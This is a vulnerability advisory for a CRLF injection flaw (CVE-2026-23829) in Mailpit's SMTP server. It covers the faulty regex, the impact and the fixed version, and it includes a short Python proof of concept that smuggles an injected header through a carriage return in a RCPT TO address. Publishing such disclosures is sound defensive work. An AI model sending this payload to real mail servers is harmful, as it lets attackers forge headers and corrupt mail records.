📄 Mailpit SMTP CRLF Injection

Mailpit - SMTP CRLF Injection via Regex Bypass
    Advisory ID: RO-26-004
    CVE ID: CVE-2026-23829
    Severity: Medium
    Vendor: axllent
    Product: Mailpit
    Version: <= v1.28.2
    
    
    Overview #
    
    A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.
    
    
    Vulnerability Details #
    
    Affected Versions: <= v1.28.2
    
    Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.
    
    Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:
    
    rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
    mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)
    
    
    
    Exploitation Requirements #
    
        Network access to SMTP port (default 1025)
        No authentication required
    
    Impact #
    
    Remote attackers can exploit this vulnerability to:
    
        Inject arbitrary SMTP headers
        Corrupt email metadata and Received headers
        Generate malformed .eml files
        Violate RFC 5321 compliance
    
    Proof of Concept #
    
    import socket
    
    def exploit():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(("127.0.0.1", 1025))
        s.recv(1024)
        s.send(b"EHLO test.com\r\n")
        s.recv(1024)
        s.send(b"MAIL FROM:<[email protected]>\r\n")
        s.recv(1024)
        # Injecting \r
        payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
        s.send(payload)
        resp = s.recv(1024)
        print(f"Server Response: {resp.decode()}")  # Expect 250 OK
        s.close()
    
    exploit()
    
    
    
    Solution #
    
    Upgrade to Mailpit version 1.28.3 or later.
    
    
    References #
    
        GitHub Security Advisory GHSA-54wq-72mp-cq7c
        CWE-93: CRLF Injection
        CWE-150: Improper Neutralization of Escape Sequences
    
    Timeline:
    
        [2026-01-13] - Reported
        [2026-01-15] - Fixed
        [2026-01-17] - CVE Assigned
        [2026-01-18] - Published
    
    Credits: Omar Kurt